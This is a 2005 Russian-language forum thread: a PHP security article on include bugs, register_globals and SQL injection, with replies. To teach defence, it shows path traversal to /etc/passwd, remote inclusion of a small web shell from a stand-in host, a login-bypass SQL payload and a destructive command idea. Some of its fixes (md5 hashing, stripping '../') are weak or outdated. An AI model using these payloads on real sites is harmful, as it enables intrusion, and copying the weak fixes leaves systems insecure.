Модераторы: Aliance, skyboy, MoLeX, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Безопасность в PHP, Статья 
:(
    Опции темы
Opik
Дата 6.1.2005, 00:06 (ссылка) |   (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



Первое и самое главное правило программиста:
Никогда не доверяй тому, чего приходит от пользователя!
Больше не буду мучить теорией т.к не люблю всё это, сразу к живым примерам.
Ошибка №1: include-баг
Ошибка №1 заключается в т.н include-баге.
Описание:
Вы делаете простенький движок сайта со следующей структурой:
Код
<?
// Тут код
include($page);
// тут ещё какой нить код
?>

и навигация происходит методов ссылок, типа:
Код

<a href="index.php?page=aboutme.php">
<a href="index.php?page=photos.php">

т.е переменная $page содержит имя подлючаемого файла. Если Вы делаете сайт такого типа, то , что мешает хакеру воспользоваться данной дырой и сделать своё коварное дело? ничего smile
а сделает он следующим образом:
Метод №1:
подставит своё значение page:
Цитата
index.php?page=../../../../../etc/passwd

Тем самым благополучно получит содержимое этого файла на экран. (В нем хранятся пароли, однако на современных хостах они обычно зашифрованы smile Однако доступ можно получить будет к любому файлу.)
Метод №2:
Include своего скрипта. Если на сервере включена опция open_wrappers (Возможность работы с удаленными файлами), то хакер может поступить и так:
Цитата
index.php?page=http://www.hack.com/hack.txt

А файл hack.txt:
Код

<?
  if (empty($_GET['cmd'])){
      $cmd = 'ls -la';
  } else {
      $cmd = $_GET['cmd'];
  }
  system($cmd);
?>


Если на сервере есть возможность пользоваться системыни командами, то хакер получит список всех файлов в данном каталоге. И что самое ужасное может выполнять Shell команды, что собственно влечет за собой взлом сервера.
Решения:
Функция basename. Эта функция вернет имя файла, чей путь был передан в качестве параметра. Если имя файла оканчивается на suffix, он также будет отброшен. Например
Пример 1. Пример использования функции basename()
Код

<?php
$path = "/home/httpd/html/index.php";
$file = basename($path);        // $file содержит "index.php"
$file = basename($path, ".php"); // $file содержит "index"
?>  

на деле:
Код
<?
include("./".basename($page));
?>
Максимум что получит хакер - сообщение что файл не найден.
Избежать инклуда можно указыв все возможные варианты:
Код
<?
  $green = array("aboutme.php", "photos.php");
  if (isset($_GET['page']) && in_array($_GET['page'],$green)){
     include($_GET['page']);
  }
?>

Для полной безопасности я воспользовался уже известной функцией basename()
Однако такой подход не удобен, если страниц много.
Если же вам необходимо подключать файлы из разных каталогов, то можно поспользоваться оператором switch или старыми добрыми if elseif else…например:
Код
switch($_GET['page']){
Case 'aboutme':
    $filepath = 'lib/aboutme.php';
Break;
Case 'history':
    $filepath = 'other/history.php';
Break;
Default:
    $filepath = 'inc/news.php';
}
Include($filepath);

Последний вариант, и наверное более верный, пропускать только "подходящие символолы", это A-Za-z0-9_- и делать это примерно так:
Код

if("/^([A-Za-z0-9_-]+)$/", $_GET['page'])
{
     $file = $_GET['page'];
}
else
{
     $file = "main.php";
}
include($file);

Ошибка №2: register_globals
Сразу скажу, что это ошибкой не является, но это не мешает быть причиной взломов.
На многих серверах эта опция PHP стоит в положении ON, что значит доступ к переменным окружения через их индекс напрямую, из вышеуказанного примера:
$page, правильно будет использовать $_GET['page']. Сейчас кратко скажу почему оно именно так:
Указывая суперглобальный(т.е доступным из любого места программы(main, class, function)) массив $_GET, мы говорим программе брать значение только из метода GET. Иначе хакер мог бы воспользоваться, например, методом POST и подставить своё значение smileи наоборот, соответсвенно..
Доступные суперглобальные массивы:
Цитата
$_POST
$_GET
$_REQUEST  (Опять же объединяет всё вместе)
$_COOKIE
$_SESSION

Далее распинаться по поводу register_globals я не хочу, т.к по этому поводу написана не одна статья... К добавок скажу, что на момент отладки скрипта включите отображение всех нотайсов (сообщений PHP):
Код
error_reporting(E_ALL);

в PHP5 лучше установить уровень E_STRICT
И определяйте все значения заранее. Тем самым Вы избавитесь от возможных ошибок . Когда Вы заканчиваете режим отладки и выставляете Ваше творение на общее обозрение ставьте нулевой вывод ошибок, т.е
Код
error_reporting(0);
Это лишит злоумышленника "лишней" информации по поводу скрипта, тем самым кое как обезопасив его.
Ошибка №3: SQL-инъекции
SQL – инъекции[b] – это SQL запросы, которые выполняет хакер для получения нужного ему результата.
Приведу пример:
Код
$query = mysql_query("select * from users where user='$username' and password='$password'");
и предварительно никаких проверок на эти данные нету. Как может поступить хакер. Пошагово:
1) Узнать существующий логин, например админа – Admin;
2) Логиниться, если через форму, то, в поле для пароля ввести: ' or a = 'a
Тем самым получится запрос:
Код
select * from users where user='Admin' and password='' or a = 'a'
Хм, разберем его =), а именно ту часть, где пароль: password='' or a = 'a', пароль у админа вряд ли будет NULL, по условию это не подойдет и поэтому стоит оператор or, а далее a = 'a', т.е будет истиной, и хакер успешно залогинится с админскими правами. Из вариантов посложнее, будет использование функции Union, которая доступна в MySQL с 4 версии. А служит она для объединения запросов, например добавить свой запрос и получить, к примеру пароли, или хэши оных =).
Как бороться:
1) Перед подставлением параметра, обязательно его обрабатывать функцией mysql_escape_string(); Эта функция экранирует все SQL спец-символы в unescaped_string, вследствие чего, её можно безопасно. Эта функция идентична функции mysql_real_escape_string. Однако в последняя экраниует в зависимости от кодировки, в которой Вы работаете с БД;
2) Если переменная заведомо является числом, можно привести её к числовому виду:
Код
$val = intval($_GET['param']);
или же
Код
$val = (int)$_GET['param'];


Пару советов:
1) Тчательно шифруйте пароли доступа, например, функцией md5, чтобы усложнить расшифровку хеша, можете добавлять случайную строку.
2) Делать пароли на базу и FTP разными. Ведь имея возможность читать файлы, хакер сможет получить полный доступ к серверу. При хранении данных от пользователя, например в гостевых книгах делать проверки на html теги – htmlspecialchars();
3) Если есть возможность обойтись без функции system. То лучше вообще её отключить (в конфиге disable_functions).
В заключение:
Если вы определили, что на сервере вашего провайдера возможны подобные действия, попросите администратора запретить их. если ваш скрипт написан безупречно, но вы вынуждены использовать shared hosting, вы ставите свой сайт под удар маразматиков, чьи криво написанные сайты лежат на том же сервере, что и ваш.

Обсуждение здесь

Это сообщение отредактировал(а) Opr - 19.5.2005, 02:57
PM MAIL Skype   Вверх
IZ@TOP
Дата 6.1.2005, 00:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



Думаю что про метод №2 надо уточнить чтобы было понятно, записав в урл какую нибудь команду: cmd=rmdir(/)...


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
InfMag
Дата 23.1.2005, 19:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата



***


Профиль
Группа: Завсегдатай
Сообщений: 1037
Регистрация: 21.11.2004

Репутация: нет
Всего: 4



Мдя, очень полезная статья, но она еще и дает информацию для самих хакеров... smile smile
Кстати, люди, если не хотите, чтобы юзеры видели содержимое ваших папок, набирая типа: http://mysite.ru/images/ , то просто в папках, не имеющих главных файлов посоздавайте пустые файлы просто - index.html ...
Добавлено @ 19:21
И еще одна фишка, для людей таких как я - не очень любящих MySQL и использующих простые файлы и функцию explode.
Для того, чтобы юзеры не могли набирая http://site.ru/data/passwd.dat увидеть ваши пароли, либо MD5 хеши (их можно легко подобрать, например через MD5 Inside), то создайте папку date в корневом коталоге Вашего сайта (то бишь где валяются папки site(или www), cgi-bin и прочие) и выложите все свои файлы, где храниться записываемая информация в нее.
Если хотите инклудировать фалйы, то пишите include("../date/file.dat");. Дальше вы разберетесь.
PM   Вверх
InfMag
Дата 23.1.2005, 19:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата



***


Профиль
Группа: Завсегдатай
Сообщений: 1037
Регистрация: 21.11.2004

Репутация: нет
Всего: 4



Теперь идет речь о include баге...
Юзер может набрать http://site.ru/page.php?file=../date/passwd.dat
Можно использовать обычные извращения типа:
Код

if ($_GET['file'] == "../date/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}


Либо прописать замену двойных точек со слешем.
Код

if (file_exists($_GET['file'])) {
$_GET['file'] = ereg_replace("../","",$_GET['file']);
} else {
echo "Такого файла не существует!";
return 0;
}


Зы. Кто не знает, то return 0; - означает, что дальше скрипт не поедет и остановится на этом месте. А return 1; - это спокойное продолжение дальше. Еще можно вместо 0 писать FALSE, а вместо 1 писать TRUE...
PM   Вверх
Opik
Дата 24.1.2005, 00:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



InfMag
про index.html - можно просто запретить листинг директорий.
на файлы с паролями обычно ставят права на чтение только сервером.
Цитата
if ($_GET['file'] == "../date/passwd.dat") {
echo "Вы ввели запрещеный адрес файла!";
return 0;
}
Извини, но бред. много мороки.
Цитата
return 0;

exit() или die() на что?
Код
$_GET['file'] = ereg_replace("../","",$_GET['file']);

о basename внимательно читал?
PM MAIL Skype   Вверх
pasha_kiev
Дата 26.1.2005, 14:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



Скажите,
а если у меня на стрнаице вывод переменной типа:

Код

echo $string;


и потом отправка ее по почте
и она задается в запросе
Код

page.php?string=dkl;skd;sdk


то хватит ли ее так обезопасить?

Код

if($string){
$string=htmlspecialchars($string);
$string=trim($string);
$string=substr($string, 0, 50)
};


Это у меня в форме обратной связи

Добавлено @ 14:40
И вообще, давайте затроним шире вопрос проверки переменных

Это сообщение отредактировал(а) pasha_kiev - 26.1.2005, 14:39
PM MAIL   Вверх
Vaulter
Дата 26.1.2005, 14:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1724
Регистрация: 30.12.2002
Где: бункер

Репутация: нет
Всего: 22



pasha_kiev
нельзя ли форму отправлять методом POST?
тогда строки не будет в строке адреса page.php?string=dkl;skd;sdk


--------------------
PM MAIL WWW ICQ   Вверх
pasha_kiev
Дата 26.1.2005, 15:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



она так и отправляется через ПОСТ, просто я для пирмера показал так

Дело в том, что форма может и не передать переменную,
и тогда ее может ввести через запрос кулХацкер
PM MAIL   Вверх
pasha_kiev
Дата 26.1.2005, 15:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



вообщем вопрос отсается открытым - о качественной проверке переменных вводимых из-вне.
PM MAIL   Вверх
Opik
Дата 26.1.2005, 16:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
если это данные SQL, то mysql_escape_string вполне хватит
PM MAIL Skype   Вверх
pasha_kiev
Дата 26.1.2005, 19:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



нет, это простые переменные, которые потом передаются по мылу
PM MAIL   Вверх
Opik
Дата 26.1.2005, 22:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
если это само мыло, то смотреть регами на правильность емайла. Да думаю тут опасного ничего нет.
PM MAIL Skype   Вверх
pasha_kiev
Дата 27.1.2005, 23:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 26.1.2005

Репутация: нет
Всего: нет



при чем здесь мыло?
я хочу узнать как надежно проверять переменные вводимые пользователем
несмотря на цели их использования
PM MAIL   Вверх
Opik
Дата 28.1.2005, 02:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Vingrad developer
Сообщений: 1918
Регистрация: 6.10.2004
Где: Рига

Репутация: нет
Всего: 55



pasha_kiev
всё как раз зависит от целей.
PM MAIL Skype   Вверх
IZ@TOP
Дата 28.1.2005, 10:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Панда-бир!
****


Профиль
Группа: Участник
Сообщений: 4795
Регистрация: 3.2.2003
Где: Бамбуковый лес

Репутация: 1
Всего: 73



pasha_kiev, для переданных данных об адресе мейла будет одна проверка, при проверке номера ICQ, адреса сайта - другие, при передаче данных в MySQL третья, при записи в файлы четвертая. И для разных случаев необходимы разные проверки, например при ситуации когда надо чтобы в тесте созхранялся HTML, делаем одно, а когда нужно чтобы его там небыло - другое.


--------------------
Один из розовых плюшевых-всадников апокалипсиса... очень злой...

Семь кругов ада для новых элементов языка
Мои разрозненные мысли
PM MAIL WWW ICQ Skype GTalk   Вверх
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Избранное | Следующая тема »


 




[ Время генерации скрипта: 0.1840 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.